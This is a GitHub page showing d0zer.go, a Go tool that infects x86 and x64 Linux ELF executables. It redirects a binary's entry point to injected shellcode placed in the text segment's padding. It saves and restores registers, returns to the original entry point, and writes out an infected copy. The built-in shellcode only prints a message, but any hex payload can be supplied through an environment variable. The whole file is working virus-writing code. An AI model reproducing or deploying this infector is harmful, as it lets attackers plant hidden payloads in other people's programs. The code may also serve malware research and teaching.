forked from sad0p/d0zer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
d0zer.go
625 lines (531 loc) · 17.1 KB
/
d0zer.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
package main
import (
"bytes"
"debug/elf"
"encoding/binary"
"encoding/hex"
"errors"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"strings"
)
const (
PAGE_SIZE int = 4096
MOD_ENTRY_POINT string = "[+] Modified entry point from 0x%x -> 0x%x\n"
TEXT_SEG_START string = "[+] Text segment starts @ 0x%x\n"
TEXT_SEG_END string = "[+] Text segment ends @ 0x%x\n"
PAYLOAD_LEN_PRE_EPILOGUE string = "[+] Payload size pre-epilogue 0x%x\n"
PAYLOAD_LEN_POST_EPILOGUE string = "[+] Payload size post-epilogue 0x%x\n"
GENERATE_AND_APPEND_PIC_STUB string = "[+] Generated and appended position independent return 2 OEP stub to payload"
INCREASED_TEXT_SEG_P_FILESZ string = "[+] Increased text segment p_filesz and p_memsz by %d (length of payload)\n"
ADJUST_SEGMENTS_AFTER_TEXT string = "[+] Adjusting segments after text segment file offsets by 0x%x\n"
INCREASE_PHEADER_AT_INDEX_BY string = "Inceasing pHeader @ index %d by 0x%x\n"
INCREASE_SECTION_HEADER_ADDRESS string = "[+] Increasing section header addresses if they come after text segment"
UPDATE_SECTIONS_PAST_TEXT_SEG string = "[+] (%d) Updating sections past text section @ addr 0x%x\n"
EXTEND_SECTION_HEADER_ENTRY string = "[+] Extending section header entry for text section by payload len."
)
type enumIdent struct {
Endianness binary.ByteOrder
Arch elf.Class
}
type targetBin struct {
Filesz int64
Contents []byte
//tName string
Ident []byte
EIdent enumIdent
Hdr interface{}
Shdrs interface{}
Phdrs interface{}
Fh *os.File
Payload bytes.Buffer
}
var preserve64 = []byte{
0x50, //push %rax
0x51, //push %rcx
0x53, //push %rbx
0x52, //push %rdx
0x56, //push %rsi
0x57, //push %rdi
0x55, //push %rbp
0x54, //push %rsp
0x41, 0x50, //push %r8
0x41, 0x51, //push %r9
0x41, 0x52, //push %r10
0x41, 0x53, //push %r11
0x41, 0x54, //push %r12
0x41, 0x55, //push %r13
0x41, 0x56, //push %r14
0x41, 0x57, //push %r15
}
var restoration64 = []byte{
0x41, 0x5f, //pop %r15
0x41, 0x5e, //pop %r14
0x41, 0x5d, //pop %r13
0x41, 0x5c, //pop %r12
0x41, 0x5b, //pop %r11
0x41, 0x5a, //pop %r10
0x41, 0x59, //pop %r9
0x41, 0x58, //pop %r8
0x5c, //pop %rsp
0x5d, //pop %rbp
0x5f, //pop %rdi
0x5e, //pop %rsi
0x5a, //pop %rdx
0x5b, //pop %rbx
0x59, //pop %rcx
0x58, //pop %rax
}
var defaultPayload64 = []byte{
0xeb, 0x00, //jmp 401005 <message>
//0000000000401005 <message>:
0xe8, 0x2b, 0x00, 0x00, 0x00, //call 401035 <shellcode>
0x68, 0x65, 0x6c, 0x6c, 0x6f, //push $0x6f6c6c65
0x20, 0x2d, 0x2d, 0x20, 0x74, 0x68, //and %ch,0x6874202d(%rip) # 68b43042 <__bss_start+0x68741042>
0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul $0x61207369,0x20(%rbx),%esi
0x20, 0x6e, 0x6f, //and %ch,0x6f(%rsi)
0x6e, //outsb %ds:(%rsi),(%dx)
0x20, 0x64, 0x65, 0x73, //and %ah,0x73(%rbp,%riz,2)
0x74, 0x72, //je 401098 <get_eip+0x37>
0x75, 0x63, //jne 40108b <get_eip+0x2a>
0x74, 0x69, //je 401093 <get_eip+0x32>
0x76, 0x65, //jbe 401091 <get_eip+0x30>
0x20, 0x70, 0x61, //and %dh,0x61(%rax)
0x79, 0x6c, //jns 40109d <get_eip+0x3c>
0x6f, //outsl %ds:(%rsi),(%dx)
0x61, //(bad)
0x64, 0x0a, //or %fs:0x1(%rax),%bh
//0000000000401035 <shellcode>:
0xb8, 0x01, 0x00, 0x00, 0x00, //mov $0x1,%eax
0xbf, 0x01, 0x00, 0x00, 0x00, //mov $0x1,%edi
0x5e, //pop %rsi
0xba, 0x2a, 0x00, 0x00, 0x00, //mov $0x2a,%edx
0x0f, 0x05, //syscall
}
var preserve32 = []byte{0x60} //pusha
var restoration32 = []byte{0x61} //popa
var defaultPayload32 = []byte{
0xeb, 0x00, //jmp 8049002 <message>
//08049002 <message>:
0xe8, 0x2b, 0x00, 0x00, 0x00, //call 8049032 <shellcode>
0x68, 0x65, 0x6c, 0x6c, 0x6f, //push $0x6f6c6c65
0x20, 0x2d, 0x2d, 0x20, 0x74, 68, //and %ch,0x6874202d
0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul $0x61207369,0x20(%ebx),%esi
0x20, 0x6e, 0x6f, //and %ch,0x6f(%esi)
0x6e, //outsb %ds:(%esi),(%dx)
0x2d, 0x64, 0x65, 0x73, 0x74, //sub $0x74736564,%eax
0x72, 0x75, //jb 8049099 <shellcode+0x67>
0x63, 0x74, 0x69, 0x76, //arpl %si,0x76(%ecx,%ebp,2)
0x65, 0x20, 0x70, 0x61, //and %dh,%gs:0x61(%eax)
0x79, 0x6c, //jns 804909a <shellcode+0x68>
0x6f, //outsl %ds:(%esi),(%dx)
0x61, //popa
0x64, //fs
0x0a, //.byte 0xa
//08049032 <shellcode>:
0x59, //pop %ecx
0xbb, 0x01, 0x00, 0x00, 0x00, //mov $0x1,%ebx
0xba, 0x2a, 0x00, 0x00, 0x00, //mov $0x2a,%edx
0xb8, 0x04, 0x00, 0x00, 0x00, //mov $0x4,%eax
0xcd, 0x80, //int $0x80
}
func printPayload(p []byte) {
fmt.Println("------------------PAYLOAD----------------------------")
fmt.Printf("%s", hex.Dump(p))
fmt.Println("--------------------END------------------------------")
}
func getPayloadFromEnv(p io.Writer, key string) (int, error) {
val, ok := os.LookupEnv(key)
if !ok {
errorString := "Environmental variable " + key + " is not set"
return 0, errors.New(errorString)
}
if val == "" {
errorString := "Environmental variable " + key + " contains no payload"
return 0, errors.New(errorString)
}
val = strings.ReplaceAll(val, "\\x", "")
decoded, err := hex.DecodeString(val)
if err != nil {
log.Fatal(err)
}
return p.Write(decoded)
}
func (t *targetBin) isElf() bool {
t.Ident = t.Contents[:16]
return !(t.Ident[0] != '\x7f' || t.Ident[1] != 'E' || t.Ident[2] != 'L' || t.Ident[3] != 'F')
}
func (t *targetBin) infectBinary(debug bool, noRestoration bool, noRetOEP bool) error {
var textSegEnd interface{}
var oShoff interface{}
var textNdx int
switch t.EIdent.Arch {
case elf.ELFCLASS64:
oEntry := t.Hdr.(*elf.Header64).Entry
oShoff = t.Hdr.(*elf.Header64).Shoff
t.Hdr.(*elf.Header64).Shoff += uint64(PAGE_SIZE)
pHeaders := t.Phdrs.([]elf.Prog64)
pNum := int(t.Hdr.(*elf.Header64).Phnum)
for i := 0; i < pNum; i++ {
if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
textNdx = i
t.Hdr.(*elf.Header64).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
if debug {
fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header64).Entry)
}
textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
if debug {
fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
fmt.Printf(TEXT_SEG_END, textSegEnd.(uint64))
fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
}
if noRestoration == false {
t.Payload.Write(restoration64)
}
if noRetOEP == false {
retStub := modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header64).Entry, oEntry)
t.Payload.Write(retStub)
}
if debug {
fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
printPayload(t.Payload.Bytes())
}
t.Phdrs.([]elf.Prog64)[i].Memsz += uint64(t.Payload.Len())
t.Phdrs.([]elf.Prog64)[i].Filesz += uint64(t.Payload.Len())
if debug {
fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
}
}
}
if debug {
fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
}
for j := textNdx; j < pNum; j++ {
if pHeaders[textNdx].Off < pHeaders[j].Off {
if debug {
fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
}
t.Phdrs.([]elf.Prog64)[j].Off += uint64(PAGE_SIZE)
}
}
if debug {
fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
}
sectionHdrTable := t.Shdrs.([]elf.Section64)
sNum := int(t.Hdr.(*elf.Header64).Shnum)
for k := 0; k < sNum; k++ {
if sectionHdrTable[k].Off >= textSegEnd.(uint64) {
if debug {
fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
}
t.Shdrs.([]elf.Section64)[k].Off += uint64(PAGE_SIZE)
} else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header64).Entry {
if debug {
fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
}
t.Shdrs.([]elf.Section64)[k].Size += uint64(t.Payload.Len())
}
}
case elf.ELFCLASS32:
oEntry := t.Hdr.(*elf.Header32).Entry
oShoff = t.Hdr.(*elf.Header32).Shoff
t.Hdr.(*elf.Header32).Shoff += uint32(PAGE_SIZE)
pHeaders := t.Phdrs.([]elf.Prog32)
pNum := int(t.Hdr.(*elf.Header32).Phnum)
for i := 0; i < pNum; i++ {
if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
textNdx = i
t.Hdr.(*elf.Header32).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
if debug {
fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header32).Entry)
}
textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
if debug {
fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
fmt.Printf(TEXT_SEG_END, textSegEnd.(uint32))
fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
}
if noRestoration == false {
t.Payload.Write(restoration32)
}
if noRetOEP == false {
retStub := modEpilogue(int32(t.Payload.Len() + 5), t.Hdr.(*elf.Header32).Entry, oEntry)
t.Payload.Write(retStub)
}
if debug {
fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
printPayload(t.Payload.Bytes())
}
t.Phdrs.([]elf.Prog32)[i].Memsz += uint32(t.Payload.Len())
t.Phdrs.([]elf.Prog32)[i].Filesz += uint32(t.Payload.Len())
if debug {
fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
}
}
}
if debug {
fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
}
for j := textNdx; j < pNum; j++ {
if pHeaders[textNdx].Off < pHeaders[j].Off {
if debug {
fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
}
t.Phdrs.([]elf.Prog32)[j].Off += uint32(PAGE_SIZE)
}
}
if debug {
fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
}
sectionHdrTable := t.Shdrs.([]elf.Section32)
sNum := int(t.Hdr.(*elf.Header32).Shnum)
for k := 0; k < sNum; k++ {
if sectionHdrTable[k].Off >= textSegEnd.(uint32) {
if debug {
fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
}
t.Shdrs.([]elf.Section32)[k].Off += uint32(PAGE_SIZE)
} else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header32).Entry {
if debug {
fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
}
t.Shdrs.([]elf.Section32)[k].Size += uint32(t.Payload.Len())
}
}
}
infected := new(bytes.Buffer)
if h, ok := t.Hdr.(*elf.Header64); ok {
if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
return err
}
}
if h, ok := t.Hdr.(*elf.Header32); ok {
if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
return err
}
}
if p, ok := t.Phdrs.([]elf.Prog64); ok {
if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
return err
}
}
if p, ok := t.Phdrs.([]elf.Prog32); ok {
if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
return err
}
}
var ephdrsz int
switch t.EIdent.Arch {
case elf.ELFCLASS64:
ephdrsz = int(t.Hdr.(*elf.Header64).Ehsize) + int(t.Hdr.(*elf.Header64).Phentsize * t.Hdr.(*elf.Header64).Phnum)
case elf.ELFCLASS32:
ephdrsz = int(t.Hdr.(*elf.Header32).Ehsize) + int(t.Hdr.(*elf.Header32).Phentsize * t.Hdr.(*elf.Header32).Phnum)
}
infected.Write(t.Contents[ephdrsz:])
infectedShdrTable := new(bytes.Buffer)
switch t.EIdent.Arch {
case elf.ELFCLASS64:
binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section64))
case elf.ELFCLASS32:
binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section32))
}
finalInfectionTwo := make([]byte, infected.Len() + int(PAGE_SIZE))
finalInfection := infected.Bytes()
var endOfInfection int
switch t.EIdent.Arch {
case elf.ELFCLASS64:
copy(finalInfection[int(oShoff.(uint64)):], infectedShdrTable.Bytes())
endOfInfection = int(textSegEnd.(uint64))
case elf.ELFCLASS32:
copy(finalInfection[int(oShoff.(uint32)):], infectedShdrTable.Bytes())
endOfInfection = int(textSegEnd.(uint32))
}
copy(finalInfectionTwo, finalInfection[:endOfInfection])
if debug {
fmt.Println("[+] writing payload into the binary")
}
copy(finalInfectionTwo[endOfInfection:], t.Payload.Bytes())
copy(finalInfectionTwo[endOfInfection + PAGE_SIZE:], finalInfection[endOfInfection:])
infectedFileName := fmt.Sprintf("%s-infected", t.Fh.Name())
if err := ioutil.WriteFile(infectedFileName, finalInfectionTwo, 0751); err != nil {
return err
}
return nil
}
func (t *targetBin) writePreservationStub() {
switch t.EIdent.Arch {
case elf.ELFCLASS64:
t.Payload.Write(preserve64)
case elf.ELFCLASS32:
t.Payload.Write(preserve32)
}
}
func (t *targetBin) enumIdent() error {
switch elf.Class(t.Ident[elf.EI_CLASS]) {
case elf.ELFCLASS64:
t.Hdr = new(elf.Header64)
t.EIdent.Arch = elf.ELFCLASS64
case elf.ELFCLASS32:
t.Hdr = new(elf.Header32)
t.EIdent.Arch = elf.ELFCLASS32
default:
return errors.New("Invalid Arch supplied -- only x86 and x64 ELF binaries supported")
}
switch elf.Data(t.Ident[elf.EI_DATA]) {
case elf.ELFDATA2LSB:
t.EIdent.Endianness = binary.LittleEndian
case elf.ELFDATA2MSB:
t.EIdent.Endianness = binary.BigEndian
default:
return errors.New("Binary possibly corrupted -- byte order unknown")
}
return nil
}
func (t *targetBin) mapHeader() error {
h := bytes.NewReader(t.Contents)
b := t.EIdent.Endianness
switch a := t.EIdent.Arch; a {
case elf.ELFCLASS64:
t.Hdr = new(elf.Header64)
if err := binary.Read(h, b, t.Hdr); err != nil {
return err
}
case elf.ELFCLASS32:
t.Hdr = new(elf.Header32)
if err := binary.Read(h, b, t.Hdr); err != nil {
return err
}
}
return nil
}
func (t *targetBin) getSectionHeaders() error {
if h, ok := t.Hdr.(*elf.Header64); ok {
start := int(h.Shoff)
end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
sr := bytes.NewBuffer(t.Contents[start:end])
t.Shdrs = make([]elf.Section64, h.Shnum)
if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section64)); err != nil {
return err
}
}
if h, ok := t.Hdr.(*elf.Header32); ok {
start := int(h.Shoff)
end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
sr := bytes.NewBuffer(t.Contents[start:end])
t.Shdrs = make([]elf.Section32, h.Shnum)
if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section32)); err != nil {
return err
}
}
return nil
}
func (t *targetBin) getProgramHeaders() error {
if h, ok := t.Hdr.(*elf.Header64); ok {
start := h.Phoff
end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
pr := bytes.NewBuffer(t.Contents[start:end])
t.Phdrs = make([]elf.Prog64, h.Phnum)
if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog64)); err != nil {
return err
}
}
if h, ok := t.Hdr.(*elf.Header32); ok {
start := h.Phoff
end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
pr := bytes.NewBuffer(t.Contents[start:end])
t.Phdrs = make([]elf.Prog32, h.Phnum)
if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog32)); err != nil {
return err
}
}
return nil
}
func (t *targetBin) getFileContents() error {
fStat, err := t.Fh.Stat()
if err != nil {
return err
}
t.Filesz = fStat.Size()
t.Contents = make([]byte, t.Filesz)
if _, err := t.Fh.Read(t.Contents); err != nil {
return err
}
return nil
}
func main() {
debug := flag.Bool("debug", false, "see debug output (generated payload, modifications, etc)")
pEnv := flag.String("payloadEnv", "", "name of the environmental variable holding the payload")
oFile := flag.String("target", "", "path to binary targetted for infection")
pFile := flag.String("payloadBin", "", "path to binary containing payload")
noPres := flag.Bool("noPreserve", false, "prevents d0zer from prepending its register preservation routine to your payload")
noRest := flag.Bool("noRestoration", false, "prevents d0zer from appending register restoration routine to your payload")
noRetOEP := flag.Bool("noRetOEP", false, "prevents d0zer from appending ret-to-OEP (continue execution after payload) to payload")
flag.Parse()
if *oFile == "" {
flag.PrintDefaults()
log.Fatal("No target binary supplied")
}
t := new(targetBin)
fh, err := os.Open(*oFile)
if err != nil {
log.Fatal(err)
}
t.Fh = fh
defer t.Fh.Close()
if err := t.getFileContents(); err != nil {
fmt.Println(err)
return
}
if !t.isElf() {
fmt.Println("This is not an Elf binary")
return
}
if err := t.enumIdent(); err != nil {
fmt.Println(err)
return
}
if *noPres == false {
t.writePreservationStub()
}
switch {
case *pEnv != "" && *pFile != "":
flag.PrintDefaults()
return
case *pEnv == "" && *pFile == "":
if t.EIdent.Arch == elf.ELFCLASS64 {
t.Payload.Write(defaultPayload64)
} else {
t.Payload.Write(defaultPayload32)
}
case *pEnv != "":
if _, err := getPayloadFromEnv(&t.Payload, *pEnv); err != nil {
fmt.Println(err)
return
}
case *pFile != "":
fmt.Println("Getting payload from an ELF binary .text segment is not yet supported")
return
}
if err := t.mapHeader(); err != nil {
fmt.Println(err)
return
}
if err := t.getSectionHeaders(); err != nil {
fmt.Println(err)
return
}
if err := t.getProgramHeaders(); err != nil {
fmt.Println(err)
return
}
if err := t.infectBinary(*debug, *noRest, *noRetOEP); err != nil {
fmt.Println(err)
return
}
}